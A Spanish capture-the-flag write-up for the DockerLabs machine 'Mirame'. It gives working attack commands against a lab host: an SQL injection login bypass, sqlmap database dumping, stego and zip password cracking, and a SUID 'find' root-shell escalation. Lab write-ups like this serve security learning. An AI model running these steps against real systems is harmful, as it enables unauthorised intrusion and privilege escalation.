> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/mirame.md).

# Mirame

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/ydjgytnfmlTncpXOD6Ec" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/zoiaDBr3dKfeNA3rxBH8" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea un panel de Login.

<figure><img src="/files/1eScGw2YwPZ47cTKa0yU" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Probamos con credenciales básicas y nada pero con una inyección básica si tenemos suerte.

```bash
'or 1=1-- -
```

Tras esto nos sale este panel en que si ingresas algo te sale la temperatura.

<figure><img src="/files/f287zdZGiBbhNQsGqIER" alt=""><figcaption></figcaption></figure>

Vamos a probar con **sqlmap** para ver que bases de datos hay.

```bash
sqlmap -u "http://172.17.0.2/index.php" --forms --batch --dbs
```

<figure><img src="/files/hYDmyVvIKqbsx7PMCMi3" alt=""><figcaption></figcaption></figure>

Ahora vemos el contenido de la base de datos **users**.

```bash
sqlmap -u "http://172.17.0.2/index.php" --forms --batch -D users --tables
```

<figure><img src="/files/pfjE7MSZv1Fihvvzntit" alt=""><figcaption></figcaption></figure>

Ahora vemos el contenido de la tabla de **usuarios**.

```bash
sqlmap -u "http://172.17.0.2/index.php" --forms --batch -D users -T usuarios --dump
```

<figure><img src="/files/mcbwREY2sAnUWE6PmDqz" alt=""><figcaption></figcaption></figure>

Vemos que hay un usuario llamado **directorio** con la contraseña **directoriotravieso** suponemos que es un directorio por lo que miramos a ver.

<figure><img src="/files/imqMbaMkCy4Zi77nWsn9" alt=""><figcaption></figcaption></figure>

Nos descargamos la imagen para ver si se puede usar la esteganografía. Usamos esta herramienta ya que contiene una contraseña.

```
stegcracker miramebien.jpg /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/AWGcnMJ99xni0sEcUPvl" alt=""><figcaption></figcaption></figure>

Miramos que contiene la imagen escondido.

```bash
steghide extract -sf miramebien.jpg
```

<figure><img src="/files/YFQMZMMxpM0N7eWmyZQg" alt=""><figcaption></figcaption></figure>

Vemos que hay un archivo comprimido llamado **ocultito.zip** pero al descomprimirlo nos pide una contraseña. Por lo que usamos **John**.

```bash
zip2john ocultito.zip > hash
```

Usamos **John** para obtener la contraseña.

```bash
john hash
```

<figure><img src="/files/CeLYshAZOU961KvUMrAS" alt=""><figcaption></figcaption></figure>

Descomprimimos ahora sí el `.zip`.

<figure><img src="/files/HaqNJZL0fqMR2iN51jS9" alt=""><figcaption></figcaption></figure>

Conseguimos unas credenciales.

```bash
ssh carlos@172.17.0.2
```

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

<figure><img src="/files/Xbt1keDo2SPrZ5fXuj6k" alt=""><figcaption></figcaption></figure>

Buscamos permisos **SUID**.

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/Ur34mvq0pBp04AoZgzOL" alt=""><figcaption></figcaption></figure>

Nos llama la atención **find** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/find/)cómo explotarlo.

```bash
/usr/bin/find . -exec /bin/sh -p \; -quit
```

<figure><img src="/files/gOZPHw9SEG2rbIwkKQH9" alt=""><figcaption></figcaption></figure>
